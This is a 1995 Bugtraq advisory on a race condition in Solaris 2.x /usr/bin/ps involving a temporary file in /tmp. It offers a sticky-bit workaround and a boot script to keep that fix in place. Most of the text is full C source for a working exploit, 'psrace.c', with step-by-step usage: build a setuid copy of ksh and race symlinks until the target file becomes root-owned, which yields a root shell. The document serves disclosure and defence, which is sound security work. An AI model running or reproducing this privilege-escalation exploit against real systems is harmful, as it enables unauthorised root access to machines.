B U G T R A Q A L E R T bugtraq-alert-081495.01
August 14, 1995
===========================================================================
OPERATING SYSTEM(S):
Solaris 2.x (Sunos 5.x)
DESCRIPTION:
A race condition exists in /usr/bin/ps when ps opens a temporary
file when executed. After opening the file, /usr/bin/ps chown's the
temporary file to root and the renames it to /tmp/ps_data.
WORKAROUND:
chmod +t /tmp
Unfortunately this may not solve the entire problem. If your
machine is rebooted and you are mounting swap as /tmp (most cases)
the sticky-bit on your /tmp directory will disappear. Normally
the boot script /etc/rc2.d/S05RMTMPFILES should be doing this
work but will not if you are mounting your /tmp directory.
The following is a bootup script should be added to ensure that
the sticky bit stays.
This file should be called /etc/rc3.d/S79tmpfix
8<------------------------- cut here -------------------------
#!/bin/sh
#ident "@(#)tmpfix 1.0 95/09/14"
if [ -d /tmp ]
then
/usr/bin/chmod 1777 /tmp
/usr/bin/chgrp sys /tmp
/usr/bin/chown sys /tmp
fi
8<------------------------- cut here -------------------------
EXPLOIT:
The following is exploit code that will allow you to change any
file on a Solaris 2.x machine to uid 0 (as well as setuid files).
8<------------------------- cut here -------------------------
/*
* psrace.c
*
* Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
*
* This material is copyrighted by Scott Chasin, 1995. The
* usual standard disclaimer applies, especially the fact that the
* author is not liable for any damages caused by direct or indirect
* use of the information or functionality provided by this program.
*
* [ For solaris2.x only ]
*
* After compiling psrace, run the following commands:
*
* cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
* /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
* ./psrace $HOME/rootshell
*
* (Ignore any errors you get from ps)
* You may have to wait a few minutes before the race is won.
*/
#include
#include
#include
#include
main (argc, argv)
int argc;
char **argv;
{
int count = 0;
DIR *dirp;
struct dirent *dp;
struct stat fileinfo;
char targetfile [85], name [85];
if (argc != 2)
{
printf ("Usage: psrace [/full/path/to/target/filename]\n");
exit (1);
}
if (access (argv[1], 0))
{
printf ("psrace: %s does not exist.\n", argv[1]);
exit (1);
}
strcpy (targetfile, argv[1]);
stat ("/tmp", &fileinfo);
if (fileinfo.st_mode & S_ISVTX)
{
printf ("psrace: Congratulations! You already have the fix in place.\n");
printf ("psrace: (/tmp has the sticky-bit set)\n");
exit (1);
}
printf ("Be patient, this could take awhile.\n");
printf ("Starting the race .. ");
fflush (stdout);
dirp = opendir ("/tmp");
for (;;)
{
unlink ("/tmp/ps_data");
while ((dp = readdir (dirp)) != NULL)
{
if (!strncmp (dp->d_name, "ps.", 3))
{
sprintf (name, "/tmp/%s", dp->d_name);
unlink (name);
symlink (targetfile, name);
if (stat (targetfile, &fileinfo) >= 0)
if (fileinfo.st_uid == 0)
{
printf ("We WON!\n");
closedir (dirp);
clean_up ();
}
}
}
rewinddir (dirp);
}
}
clean_up ()
{
DIR *dirp;
struct dirent *dp;
char name [25];
dirp = opendir ("/tmp");
while ((dp = readdir (dirp)) != NULL)
if (!strncmp (dp->d_name, "ps.", 3))
{
sprintf (name, "/tmp/%s", dp->d_name);
unlink (name);
}
closedir (dirp);
unlink ("/tmp/ps_data");
exit (0);
}
8<------------------------- cut here -------------------------
===========================================================================
A thanks goes out to Neil Readwin (nreadwin@micrognosis.co.uk) who provided
a few ideas in making the exploit code a bit more "enhanced".
For questions regarding this alert, please feel free to mail me.
For more discussion on this alert:
bugtraq@crimelab.com Bugtraq reflector list
bugtraq-request@crimelab.com Information / Request address
Scott Chasin
chasin@crimelab.com